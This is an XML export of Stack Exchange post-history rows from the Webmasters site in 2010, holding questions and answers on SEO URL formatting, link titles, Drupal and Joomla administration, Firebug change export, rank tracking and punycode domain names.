  <row Id="7634" PostHistoryTypeId="2" PostId="3887" RevisionGUID="f6e7a0ce-e8b9-403f-bdc1-85d9a5083c68" CreationDate="2010-10-14T20:09:32.040" UserDisplayName="Slinky" Text="Does anybody know what the best SEO practice and most effective format for URLs is currently? &#xD;&#xA;&#xD;&#xA;All lowercase or mixed case? Example:&#xD;&#xA;&#xD;&#xA;http://www.mysite.com/What-is-My-Site/&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;http://www.mysite.com/what-is-my-site/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7635" PostHistoryTypeId="1" PostId="3887" RevisionGUID="f6e7a0ce-e8b9-403f-bdc1-85d9a5083c68" CreationDate="2010-10-14T20:09:32.040" UserDisplayName="Slinky" Text="Good Practice for Formatting SEO-Friendly URLs?" />
  <row Id="7636" PostHistoryTypeId="3" PostId="3887" RevisionGUID="f6e7a0ce-e8b9-403f-bdc1-85d9a5083c68" CreationDate="2010-10-14T20:09:32.040" UserDisplayName="Slinky" Text="&lt;seo&gt;&lt;url-rewriting&gt;" />
  <row Id="7637" PostHistoryTypeId="17" PostId="3887" RevisionGUID="0591d130-4b67-449a-8368-18f641b43457" CreationDate="2010-10-15T19:13:31.020" UserId="-1" Comment="from http://stackoverflow.com/questions/3937111/good-practice-for-formatting-seo-friendly-urls" Text="" />
  <row Id="7640" PostHistoryTypeId="2" PostId="3890" RevisionGUID="d7627cc7-8eaa-49fa-a332-936838b72589" CreationDate="2010-10-15T20:25:04.907" UserId="745" Text="Search engines [**do** care about case][1].&#xD;&#xA;&#xD;&#xA;Capitalization doesn't affect your rankings directly; however, if you have links to a page both in caps and lowercase, the search engine will view it as two distinct pages. You begin to run into duplicate content issues. Depending on your server, example.com/Page1 and example.com/page1 are two different pages, but search engines will always view them as separate URLs.&#xD;&#xA;&#xD;&#xA;From a usability perspective, use lowercase. As a user, I don't want to pay attention to capitalization when I'm typing in a URL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.searchenginejournal.com/url-capitalization-and-seo/12667/" />
  <row Id="7641" PostHistoryTypeId="2" PostId="3891" RevisionGUID="d793ec14-f840-4674-973d-ec066070915e" CreationDate="2010-10-15T20:45:14.453" UserId="1074" Text="I personally did a business name, not only because then I could theme my advertising, but also because it removes confusion when I hire subject matter experts to help.  If you're running as a one man show, sometimes people expect you not to sub work.&#xD;&#xA;&#xD;&#xA;Bonus if you have a catchy name people will remember." />
  <row Id="7642" PostHistoryTypeId="2" PostId="3892" RevisionGUID="b5d83c7a-fff1-44d5-9618-16241a074ac7" CreationDate="2010-10-15T21:04:52.663" UserId="2011" Text="You can:&#xD;&#xA;&#xD;&#xA; - Use the [Login Destination][1] module.&#xD;&#xA; - Let your users login at www.example.com/user?destination=some/path. This will redirect them to www.example.com/some/path after submitting the form.&#xD;&#xA; - Write a custom module, implementing hook_form_alter. It's explained here: http://drupal.org/node/236234.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/login_destination" />
  <row Id="7643" PostHistoryTypeId="2" PostId="3893" RevisionGUID="09991e6b-1742-49cd-b0b6-7e746c7270b2" CreationDate="2010-10-16T00:01:11.663" UserId="2465" Text="I have heard that several people use the rules module to direct people to different pages on login, dependent upon their role, or just to do a general redirect to the page the person logged in from.&#xD;&#xA;&#xD;&#xA;http://drupal.org/project/rules&#xD;&#xA;" />
  <row Id="7644" PostHistoryTypeId="2" PostId="3894" RevisionGUID="5a4d3f5c-cc5c-4536-8f04-578a34322d21" CreationDate="2010-10-16T01:03:12.533" UserId="2288" Text="Looking for suggestions on how to QA a Drupal website. Thanks!" />
  <row Id="7645" PostHistoryTypeId="1" PostId="3894" RevisionGUID="5a4d3f5c-cc5c-4536-8f04-578a34322d21" CreationDate="2010-10-16T01:03:12.533" UserId="2288" Text="What are best practices for Drupal QA? For example, how would you check for hard coded broken links? " />
  <row Id="7646" PostHistoryTypeId="3" PostId="3894" RevisionGUID="5a4d3f5c-cc5c-4536-8f04-578a34322d21" CreationDate="2010-10-16T01:03:12.533" UserId="2288" Text="&lt;web-development&gt;&lt;drupal&gt;&lt;code-quality&gt;&lt;testing&gt;" />
  <row Id="7647" PostHistoryTypeId="2" PostId="3895" RevisionGUID="524b2e74-b5bc-48a7-9c18-555b02c3a591" CreationDate="2010-10-16T01:28:20.770" UserId="745" Text="Before you spend too much on investing in a web directory listing with hopes of getting traffic, I think it's important to ask yourself when the last time you went to a web directory to find a site. The last time I did was sometime in the late **1990**'s. Since then, I've used a search engine. I suspect most other people have a similar story.&#xD;&#xA;&#xD;&#xA;As far as any SEO benefit, it's just a link. Any importance assigned to directory listings is either very diluted due to the complexity of modern search engine algorithms or non-existent. There are easier and cheaper ways of getting a high quality link than paying $299 annually (like Yahoo's directory).&#xD;&#xA;&#xD;&#xA;In short, **unless it's free, I wouldn't bother**. Even if it is free, I think the only directory I'd bother with is DMOZ." />
  <row Id="7648" PostHistoryTypeId="5" PostId="3895" RevisionGUID="c2a6919a-df29-45e7-b93c-9fdb959f0466" CreationDate="2010-10-16T01:58:11.557" UserId="745" Comment="added 81 characters in body" Text="Before you spend too much on investing in a web directory listing with hopes of getting traffic, I think it's important to ask yourself when the last time you went to a web directory to find a site. The last time I did was sometime in the late **1990**'s. Since then, I've used a search engine. I suspect most other people have a similar story. Any expectations of getting traffic from a directory listing should be tempered.&#xD;&#xA;&#xD;&#xA;As far as any SEO benefit, it's just a link. Any importance assigned to directory listings is either very diluted due to the complexity of modern search engine algorithms or non-existent. There are easier and cheaper ways of getting a high quality link than paying $299 annually (like Yahoo's directory).&#xD;&#xA;&#xD;&#xA;In short, **unless it's free, I wouldn't bother**. Even if it is free, I think the only directory I'd bother with is DMOZ." />
  <row Id="7649" PostHistoryTypeId="2" PostId="3896" RevisionGUID="fbe43980-fe9d-4f23-a291-218a6323b3e0" CreationDate="2010-10-16T03:09:38.957" UserId="2465" Text="For verifying links are not dead and generating reports of bad links I would try the link checker module (http://drupal.org/project/linkchecker). I recently installed it. Admittedly you will probably need to do some configuring, but it would be a good place to start." />
  <row Id="7650" PostHistoryTypeId="2" PostId="3897" RevisionGUID="980964aa-621a-4017-9dee-842ac610bad5" CreationDate="2010-10-16T02:56:17.800" UserDisplayName="Matt Dawdy" Text="I've got a friend who is the head of his Home Owner's Association.  He wants me to help him move to an easier to update.&#xD;&#xA;&#xD;&#xA;I'm thinking of using a hosted CMS solution from GoDaddy, namely Jooma.  But I thought I'd ask here if anyone had any easier ideas.&#xD;&#xA;&#xD;&#xA;Key points:&#xD;&#xA;&#xD;&#xA; 1. Ability to create pages at will and include them in navigation&#xD;&#xA; 2. Be able to email to a group a link or embedded content (monthly newsletters)&#xD;&#xA; 3. Have a &quot;secure&quot; area that is only accessible with a username/password area.&#xD;&#xA;&#xD;&#xA;I don't know if Joomla will satisfy all of those requirements, but I think it gets me close and is free (well, included with paid hosting at GoDaddy).&#xD;&#xA;&#xD;&#xA;Can anyone else speak up to any kind of success/failure you have had with Joomla, Drupal, DotNetNuke, etc?" />
  <row Id="7651" PostHistoryTypeId="1" PostId="3897" RevisionGUID="980964aa-621a-4017-9dee-842ac610bad5" CreationDate="2010-10-16T02:56:17.800" UserDisplayName="Matt Dawdy" Text="I need a recommendation for software to control an HOA site" />
  <row Id="7652" PostHistoryTypeId="3" PostId="3897" RevisionGUID="980964aa-621a-4017-9dee-842ac610bad5" CreationDate="2010-10-16T02:56:17.800" UserDisplayName="Matt Dawdy" Text="&lt;cms&gt;" />
  <row Id="7653" PostHistoryTypeId="17" PostId="3897" RevisionGUID="8febf756-7759-4514-9b36-6cd34d9a474f" CreationDate="2010-10-16T03:15:32.517" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/8233/i-need-a-recommendation-for-software-to-control-an-hoa-site" Text="" />
  <row Id="7654" PostHistoryTypeId="2" PostId="3898" RevisionGUID="89180d51-73ec-401a-8ef4-6071b25a42a8" CreationDate="2010-10-16T03:28:13.767" UserId="2288" Text="Used Firebug off and on, but just figured out that I'm able to edit site with it... :-)&#xD;&#xA;&#xD;&#xA;So, is there anyway to export a list of changes I've made, and if not, what's the best thing to do?&#xD;&#xA;&#xD;&#xA;Thanks a million, gotta love new tools... (well not so new, but whatever... :-)&#xD;&#xA;" />
  <row Id="7655" PostHistoryTypeId="1" PostId="3898" RevisionGUID="89180d51-73ec-401a-8ef4-6071b25a42a8" CreationDate="2010-10-16T03:28:13.767" UserId="2288" Text="When editing a site in Firebug, is it possible to export a list of changes made? If not, what's the best to do?" />
  <row Id="7656" PostHistoryTypeId="3" PostId="3898" RevisionGUID="89180d51-73ec-401a-8ef4-6071b25a42a8" CreationDate="2010-10-16T03:28:13.767" UserId="2288" Text="&lt;css&gt;&lt;website-design&gt;&lt;html&gt;&lt;browsers&gt;&lt;text-editor&gt;" />
  <row Id="7657" PostHistoryTypeId="2" PostId="3899" RevisionGUID="bc95e879-27ba-4285-92ea-2c5d73d6938d" CreationDate="2010-10-16T03:29:02.523" UserId="2467" Text="How do you know your mail is being flagged as spam?  Are legit users telling you that that's the case?  Will they help you out by sending you copies of the mail?  Anti-spam systems such as SpamAssassin will put headers in the email explaining what rules were broken that got you flagged as spam.&#xD;&#xA;&#xD;&#xA;So get a copy of some mail that got flagged as spam, and see what it says." />
  <row Id="7658" PostHistoryTypeId="2" PostId="3900" RevisionGUID="917a49fb-ef10-4c48-8637-9f3277d1ecb6" CreationDate="2010-10-13T05:58:00.380" UserDisplayName="Moak" Text="Greetings,   &#xD;&#xA;I'm starting a new site with joomla 1.6 b9, hoping that by early next year a stable release will be available.&#xD;&#xA;&#xD;&#xA;I want to upgrade the Joomla 1.6 b9 to 1.6 b11. however I can't find upgrade instructions.&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="7659" PostHistoryTypeId="1" PostId="3900" RevisionGUID="917a49fb-ef10-4c48-8637-9f3277d1ecb6" CreationDate="2010-10-13T05:58:00.380" UserDisplayName="Moak" Text="How to upgrade Joomla 1.6 betas?" />
  <row Id="7660" PostHistoryTypeId="3" PostId="3900" RevisionGUID="917a49fb-ef10-4c48-8637-9f3277d1ecb6" CreationDate="2010-10-13T05:58:00.380" UserDisplayName="Moak" Text="&lt;joomla&gt;" />
  <row Id="7661" PostHistoryTypeId="17" PostId="3900" RevisionGUID="cdf07052-43bf-40a6-aa20-342dc2bfd986" CreationDate="2010-10-16T03:35:21.330" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/8129/how-to-upgrade-joomla-1-6-betas" Text="" />
  <row Id="7662" PostHistoryTypeId="2" PostId="3901" RevisionGUID="103216a4-496b-4f5a-8b4a-52410c2e71cb" CreationDate="2010-10-16T04:23:17.740" UserId="1253" Text="I'm pretty sure Firebug doesn't log the changes so you'll have to get a little creative to do this. You can copy the HTML/CSS and paste it into a txt file. Then you can using comparison software to identify the changes you made. The [text editor I use][1] has this functionality built in but I'm sure the are plenty of options available.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ultraedit.com/products/ultraedit/ultraedit_feature_map/compare_files.html" />
  <row Id="7663" PostHistoryTypeId="10" PostId="3897" RevisionGUID="5304a189-fe93-4661-b4db-8498fb23e30c" CreationDate="2010-10-16T04:38:11.140" UserId="180" CloseReasonId="1" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="7664" PostHistoryTypeId="5" PostId="3897" RevisionGUID="978a71f2-26ab-4efe-9075-fe36853733f8" CreationDate="2010-10-16T04:38:11.283" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How to choose a CMS system for a small web site?](http://webmasters.stackexchange.com/questions/2448/how-to-choose-a-cms-system-for-a-small-web-site)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I've got a friend who is the head of his Home Owner's Association.  He wants me to help him move to an easier to update.&#xD;&#xA;&#xD;&#xA;I'm thinking of using a hosted CMS solution from GoDaddy, namely Jooma.  But I thought I'd ask here if anyone had any easier ideas.&#xD;&#xA;&#xD;&#xA;Key points:&#xD;&#xA;&#xD;&#xA; 1. Ability to create pages at will and include them in navigation&#xD;&#xA; 2. Be able to email to a group a link or embedded content (monthly newsletters)&#xD;&#xA; 3. Have a &quot;secure&quot; area that is only accessible with a username/password area.&#xD;&#xA;&#xD;&#xA;I don't know if Joomla will satisfy all of those requirements, but I think it gets me close and is free (well, included with paid hosting at GoDaddy).&#xD;&#xA;&#xD;&#xA;Can anyone else speak up to any kind of success/failure you have had with Joomla, Drupal, DotNetNuke, etc?" />
  <row Id="7665" PostHistoryTypeId="10" PostId="2797" RevisionGUID="6d6eafa2-1628-41b4-b1ed-c87a2ef02601" CreationDate="2010-10-16T04:40:32.123" UserId="180" CloseReasonId="1" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="7666" PostHistoryTypeId="5" PostId="2797" RevisionGUID="0d43649f-04c2-4b3d-b4e9-9ccbdc0e9763" CreationDate="2010-10-16T04:40:32.247" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Best CMS for review-type sites](http://webmasters.stackexchange.com/questions/3398/best-cms-for-review-type-sites)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi,&#xD;&#xA;what's the better CMS/theme for a review site? It will be a site about movie reviews from editors, and visitors should comment the review.&#xD;&#xA;I'm looking for something simple to implement." />
  <row Id="7667" PostHistoryTypeId="11" PostId="2797" RevisionGUID="740497b9-0f47-4d75-b05a-4e48766b1db2" CreationDate="2010-10-16T04:41:18.737" UserId="180" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="7668" PostHistoryTypeId="2" PostId="3902" RevisionGUID="de2e8b22-4e0e-4764-81b3-04b8a81005d2" CreationDate="2010-10-16T04:51:02.633" UserId="180" Text="Joomla's site is full of warnings like this:&#xD;&#xA;&#xD;&#xA;&gt; IMPORTANT NOTE: This is a beta version and is not intended to run any type of production site. It is intended to be used for evaluation purposes only.&#xD;&#xA;&#xD;&#xA;so you really need to know what you're doing if you're going to be running pre-release software that has potential for changing APIs and database structures.&#xD;&#xA;&#xD;&#xA;There is [one mention][1] by Andrew Eddie in the 1.6 Beta thread about updates:&#xD;&#xA;&#xD;&#xA;&gt; Our tradition is that there is a path to upgrade between betas but it will not be automated. Database diff's are generally provided if required and upgrading files should be a matter of overwriting the old ones. I doubt we'll provide file diff's during the beta period.&#xD;&#xA;&#xD;&#xA;As you can see in the b11 distribution, there is a joomla_update_16b2.sql file in the `installation/sql/mysql` folder, so hopefully this advice held true and there are no database changes, in which case you'd just have to replace the files (making sure to preserve any of your own code).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forum.joomla.org/viewtopic.php?p=2145848#p2145848" />
  <row Id="7669" PostHistoryTypeId="2" PostId="3903" RevisionGUID="04119af1-e526-4415-bc0b-51520a086e6c" CreationDate="2010-10-16T04:56:44.923" UserId="2469" Text="1. Once you unzip the files, the installation is the default operation. I am assuming you see an installation screen. Or have you already done the installation?&#xD;&#xA;2. after installation remove the install directory.&#xD;&#xA;3. After install the admin is accessible from http://&lt;your ip&gt;/admin/ It should not be visible directly at http://&lt;your ip&gt;/. If you are facing such an issue it is pretty strange.&#xD;&#xA;4. You can always rename the admin directory as you wish and make changes in the admin/includes/configure.php. That will help you setup a secure admin to start with.&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;Shiva" />
  <row Id="7670" PostHistoryTypeId="2" PostId="3904" RevisionGUID="3f3a501c-bec6-4f07-8a1e-7e9e6a3057e7" CreationDate="2010-10-16T06:27:59.087" UserId="1757" Text="There is actually a FireBug plugin called [FireDiff][1] that lets you export style and DOM changes.&#xD;&#xA;&#xD;&#xA;Alternatively, you could use the [Web Developer add-on][2] to save the CSS.&#xD;&#xA;&#xD;&#xA;Lastly, FireBug can be linked to Eclipse using [Fireclipse][3], and from there save the CSS.&#xD;&#xA;&#xD;&#xA;See [this StackOverflow question][4] for more solutions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.incaseofstairs.com/firediff/&#xD;&#xA;  [2]: https://addons.mozilla.org/en-US/firefox/addon/60/&#xD;&#xA;  [3]: http://www.almaden.ibm.com/u/bartonjj/fireclipse/index.html&#xD;&#xA;  [4]: http://stackoverflow.com/questions/162644/why-cant-i-save-css-changes-in-firebug" />
  <row Id="7671" PostHistoryTypeId="2" PostId="3905" RevisionGUID="0941a3fc-5157-48f3-b65f-1e4ce1a84c5e" CreationDate="2010-10-16T12:03:43.080" UserId="2473" Text="I'm searching for a tool that can give me the page number (Google) and position a given web page scores for a given keyword. &#xD;&#xA;&#xD;&#xA;E.g. Searching for the term &quot;foo&quot; the tool will show third page, second position if in that moment the said web page is second on the third page on Google. This has to be in real time since rankings change frequently. &#xD;&#xA;&#xD;&#xA;The webmasters tool doesn't give me an accurate information if the search result is not within the first three pages." />
  <row Id="7672" PostHistoryTypeId="1" PostId="3905" RevisionGUID="0941a3fc-5157-48f3-b65f-1e4ce1a84c5e" CreationDate="2010-10-16T12:03:43.080" UserId="2473" Text="Tool to monitor rankings" />
  <row Id="7673" PostHistoryTypeId="3" PostId="3905" RevisionGUID="0941a3fc-5157-48f3-b65f-1e4ce1a84c5e" CreationDate="2010-10-16T12:03:43.080" UserId="2473" Text="&lt;seo&gt;&lt;google&gt;&lt;site-ranking&gt;" />
  <row Id="7677" PostHistoryTypeId="2" PostId="3907" RevisionGUID="40aedd29-2d31-43bd-b6bd-5a43bf45b341" CreationDate="2010-10-16T13:04:38.803" UserId="2279" Text="Let's say I have the below hyperlink:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.example.com&quot; title=&quot;title text&quot;&gt;link link&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;It is good SEO practice to ensure that the title text is **exactly** the same link text? I.e. I would change the above link to:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.example.com&quot; title=&quot;title text&quot;&gt;title text&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I know that the best practice is to have keywords in both, but does it do any harm if they are not identical?" />
  <row Id="7678" PostHistoryTypeId="1" PostId="3907" RevisionGUID="40aedd29-2d31-43bd-b6bd-5a43bf45b341" CreationDate="2010-10-16T13:04:38.803" UserId="2279" Text="Should the title text of a hyperlink be the same as the link text for SEO?" />
  <row Id="7679" PostHistoryTypeId="3" PostId="3907" RevisionGUID="40aedd29-2d31-43bd-b6bd-5a43bf45b341" CreationDate="2010-10-16T13:04:38.803" UserId="2279" Text="&lt;seo&gt;" />
  <row Id="7680" PostHistoryTypeId="2" PostId="3908" RevisionGUID="b70b7e23-dfbc-4678-9299-30acdcf6f568" CreationDate="2010-10-16T13:08:54.930" UserDisplayName="azazel" Text="Is ÅÄÖ allowed in .com domain? it is allowed in swedish .se top level domain. ie kåtbock.se which means hornygoat. According to to swedish internet magazine you can use ÅÄÖ in .com domain, but you cannot register ÅÄÖ in godaddy registar" />
  <row Id="7681" PostHistoryTypeId="1" PostId="3908" RevisionGUID="b70b7e23-dfbc-4678-9299-30acdcf6f568" CreationDate="2010-10-16T13:08:54.930" UserDisplayName="azazel" Text="åäö in .com domain" />
  <row Id="7682" PostHistoryTypeId="3" PostId="3908" RevisionGUID="b70b7e23-dfbc-4678-9299-30acdcf6f568" CreationDate="2010-10-16T13:08:54.930" UserDisplayName="azazel" Text="&lt;domains&gt;" />
  <row Id="7683" PostHistoryTypeId="2" PostId="3909" RevisionGUID="09f1c9b4-edc2-406d-bd63-be64e7e2e453" CreationDate="2010-10-16T13:15:51.250" UserId="2288" Text="Have some ideas, but for now I'm going to leave it description as the question.&#xD;&#xA;&#xD;&#xA;If you have any questions, just ask -- thanks!!" />
  <row Id="7684" PostHistoryTypeId="1" PostId="3909" RevisionGUID="09f1c9b4-edc2-406d-bd63-be64e7e2e453" CreationDate="2010-10-16T13:15:51.250" UserId="2288" Text="What's the best workflow for creating websites fact &amp; cheap, yet they work as needed?" />
  <row Id="7685" PostHistoryTypeId="3" PostId="3909" RevisionGUID="09f1c9b4-edc2-406d-bd63-be64e7e2e453" CreationDate="2010-10-16T13:15:51.250" UserId="2288" Text="&lt;website-design&gt;&lt;web-development&gt;&lt;process&gt;" />
  <row Id="7686" PostHistoryTypeId="2" PostId="3910" RevisionGUID="d3f12aec-df76-4041-8502-e5d64dd91fcd" CreationDate="2010-10-16T13:20:54.203" UserDisplayName="delete" Text="Each time someone clicks on a page like&#xD;&#xA;&#xD;&#xA;    http://www.example.com/crazy.cgi?input=silly+banana&#xD;&#xA;&#xD;&#xA;where the &quot;silly banana&quot; bit represents some arbitrary user input which changes each time, I get yet another hit from the Adsense bot, almost immediately afterwards. And yet the page's contents don't vary much depending on the input. Is there a point at which the Adsense bot (user agent &quot;Mediapartners-Google&quot;) gets bored, in other words begins to notice that the query parameters don't make much difference to the output page, or does it just keep on and on coming to my page indefinitely? And if there is a point where its enthusiasm begins to wane, can it be predicted?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7687" PostHistoryTypeId="1" PostId="3910" RevisionGUID="d3f12aec-df76-4041-8502-e5d64dd91fcd" CreationDate="2010-10-16T13:20:54.203" UserDisplayName="delete" Text="Does the adsense bot ever get bored?" />
  <row Id="7688" PostHistoryTypeId="3" PostId="3910" RevisionGUID="d3f12aec-df76-4041-8502-e5d64dd91fcd" CreationDate="2010-10-16T13:20:54.203" UserDisplayName="delete" Text="&lt;google-adsense&gt;&lt;robots&gt;" />
  <row Id="7689" PostHistoryTypeId="2" PostId="3911" RevisionGUID="9329bfa9-85af-488b-b417-20f263315024" CreationDate="2010-10-16T13:32:09.183" UserDisplayName="delete" Text="It's possible to use Unicode characters outside the allowed range of characters for domain names by using the following type of encoding: http://www.ietf.org/rfc/rfc3492.txt. This works with .com names because it encodes the unicode names using the allowed characters.&#xD;&#xA;&#xD;&#xA;For example, if I use the &quot;go to&quot; feature in my browser to go to the domain you suggest, I actually land on&#xD;&#xA;&#xD;&#xA;http://xn--ktbock-iua.se/&#xD;&#xA;&#xD;&#xA;There's no reason you can't register&#xD;&#xA;&#xD;&#xA;http://xn--ktbock-iua.com/&#xD;&#xA;&#xD;&#xA;since all of the characters in the name are allowed ones.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7691" PostHistoryTypeId="4" PostId="3909" RevisionGUID="a6f7c159-d5f0-4488-b8b1-23760b1c2eee" CreationDate="2010-10-16T13:33:48.907" UserId="2288" Comment="edited title" Text="What's the best workflow for creating websites fact &amp; cheap, but that work as needed?" />
  <row Id="7692" PostHistoryTypeId="2" PostId="3913" RevisionGUID="8437e9b0-c7da-4d90-a6bd-888bf68eee68" CreationDate="2010-10-16T13:37:05.300" UserId="1757" Text="Stop it. Stop thinking like a keyword spammer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The title attribute in anchor tags serve a very specific and vital purpose. It conveys extra information to users about a given link. It's spoken by screen readers and displayed to other users as a tooltip. Provide a useful title attribute, or don't use it at all.&#xD;&#xA;&#xD;&#xA;Any marginal SEO advantage you gain from keyword stuffing your title tags or optimizing your title tags for a particular search engine's algorithms is going to be offset by the loss of usability to human-beings.&#xD;&#xA;&#xD;&#xA;Design your website for people, not search engines. If you do that, then the SEO will take care of itself." />
  <row Id="7693" PostHistoryTypeId="2" PostId="3914" RevisionGUID="658c479c-d17c-4292-9dd6-e201d282d6c6" CreationDate="2010-10-16T14:22:11.500" UserId="1253" Text="[There are tons of tools out there][1]. A free one I use is [Google Monitor][2]. Basic and straight forward no extra crap tied to it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=check+google+rankings&#xD;&#xA;  [2]: http://www.cleverstat.com/en/google-monitor-query.htm" />
  <row Id="7694" PostHistoryTypeId="2" PostId="3915" RevisionGUID="694f9516-d064-4ab2-a545-18074d6182c2" CreationDate="2010-10-16T14:26:17.383" UserId="2288" Text="Looking to create a rollback and recovery system that allows me to create monthly backups that are easy to use to do a restore with, but would also like to be able to log and rollback changes. It would be nice if the rollback system is not 100% linear, but able to clusters and type system dependences. Also, like it if the rollback system was a module, but that's not 100% required.&#xD;&#xA;&#xD;&#xA;If you have any questions, just ask -- thanks!! " />
  <row Id="7695" PostHistoryTypeId="1" PostId="3915" RevisionGUID="694f9516-d064-4ab2-a545-18074d6182c2" CreationDate="2010-10-16T14:26:17.383" UserId="2288" Text="With Drupal, what's the best way to do backups and version control?" />
  <row Id="7696" PostHistoryTypeId="3" PostId="3915" RevisionGUID="694f9516-d064-4ab2-a545-18074d6182c2" CreationDate="2010-10-16T14:26:17.383" UserId="2288" Text="&lt;drupal&gt;&lt;backups&gt;" />
  <row Id="7697" PostHistoryTypeId="2" PostId="3916" RevisionGUID="27ec636a-d8de-4856-a147-8e3f6d1d22e6" CreationDate="2010-10-16T14:28:21.013" UserId="1279" Text="I use the title tag as a tool tip with additional information for the user than just the anchor text. I am not sure if title being identical to anchor text has any search engine benefits, I doubt it though.&#xD;&#xA;&#xD;&#xA;If the tooltip is the same as the anchor text, it will be an minor annoyance for the user who is probably expecting more information." />
  <row Id="7698" PostHistoryTypeId="2" PostId="3917" RevisionGUID="b8dbd7e6-c0e7-48ad-82ac-997f31fd6074" CreationDate="2010-10-16T14:42:02.083" UserId="2026" Text="I use https://instantdomainsearch.com/. This is encrypted search. And doesn't record your search. Although you can try its unencrypted search as well. which is little bit faster but records your search" />
  <row Id="7699" PostHistoryTypeId="5" PostId="3909" RevisionGUID="851884aa-a4dd-4e9e-9c15-2588563bb86c" CreationDate="2010-10-16T14:58:46.353" UserId="2288" Comment="added 223 characters in body; added 1 characters in body" Text="Have some ideas, but for now I'm going to leave it description as the question.&#xD;&#xA;&#xD;&#xA;If you have any questions, just ask -- thanks!!&#xD;&#xA;&#xD;&#xA;**UPDATES:** &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Guidelines:**&#xD;&#xA;&#xD;&#xA; 1. Workflow makes the most frequent tasks easy, and less frequent tasks achievable.&#xD;&#xA; 2. Workflow covers 80% of the tasks.&#xD;&#xA; 3. Solutions use smart default settings." />
  <row Id="7700" PostHistoryTypeId="2" PostId="3919" RevisionGUID="57f67509-2ecb-4776-80cf-0afa190d57ea" CreationDate="2010-10-14T21:48:07.253" UserDisplayName="Trufa" Text="Interesting article on that matter:&#xD;&#xA;&#xD;&#xA;http://seotech.wordpress.com/2008/06/06/technical-seo-issues-sub-domain-sub-directory/&#xD;&#xA;&#xD;&#xA;You should decide which is best regarding its content, but the language in particualar to show you an example: &#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Main_Page&#xD;&#xA;&#xD;&#xA;Before the domain seams to be the standard and I would recommend it!&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="7702" PostHistoryTypeId="2" PostId="3918" RevisionGUID="67488d5e-b664-4a13-86ad-e7291e1799ca" CreationDate="2010-10-14T21:43:02.867" UserDisplayName="Marwelln" Text="Are the following urls threated the same in SEO rank or is someone better than another? If, why?&#xD;&#xA;&#xD;&#xA; - language.domain.com/page&#xD;&#xA; - domain.com/language/page" />
  <row Id="7703" PostHistoryTypeId="1" PostId="3918" RevisionGUID="67488d5e-b664-4a13-86ad-e7291e1799ca" CreationDate="2010-10-14T21:43:02.867" UserDisplayName="Marwelln" Text="SEO url for multi-language site" />
  <row Id="7704" PostHistoryTypeId="3" PostId="3918" RevisionGUID="67488d5e-b664-4a13-86ad-e7291e1799ca" CreationDate="2010-10-14T21:43:02.867" UserDisplayName="Marwelln" Text="&lt;seo&gt;" />
  <row Id="7705" PostHistoryTypeId="17" PostId="3918" RevisionGUID="3ddc3c95-0d40-43c3-a3f7-2059db693db4" CreationDate="2010-10-16T15:36:55.877" UserId="-1" Comment="from http://stackoverflow.com/questions/3937827/seo-url-for-multi-language-site" Text="" />
  <row Id="7706" PostHistoryTypeId="2" PostId="3921" RevisionGUID="7f69d1d6-1309-4093-bce3-c57cb829b8e8" CreationDate="2010-10-16T15:47:38.317" UserId="2478" Text="To expand a bit on John Conde's reply: &quot;Good, fast, cheap. Pick any two.&quot;&#xD;&#xA;&#xD;&#xA;I'd say that a static site built on a free web template with minor customizations (colors, column widths, background images) will suffice for 80-90% of small businesses. Get the client to fill out &lt;a href=&quot;http://www.evotech.net/blog/2009/04/22-web-client-ued-questions/&quot;&gt;some kind of questionnaire&lt;/a&gt;, then do most of the thinking for them and show them your work every week or so for their feedback. If you want to produce fast and cheap websites, that's as much workflow as you and they usually need to consider; otherwise, the website will not be fast, and if it's cheap then it probably means you lost money for the amount of effort you put into it. Most clients who who care about implementing workflow on their website are not in the &quot;we want a site fast and cheap&quot; camp.&#xD;&#xA;&#xD;&#xA;&lt;strong&gt;Edit:&lt;/strong&gt; do you mean the workflow that &lt;em&gt;you&lt;/em&gt; use to create the website, or the workflow that the &lt;em&gt;client&lt;/em&gt; uses to achieve his business tasks with the website?" />
  <row Id="7707" PostHistoryTypeId="4" PostId="3909" RevisionGUID="8682448a-bd8e-48d4-a9bd-e3bca778e102" CreationDate="2010-10-16T16:11:02.807" UserId="2288" Comment="edited title" Text="What's the best workflow for creating websites fast &amp; cheap, but that work as needed?" />
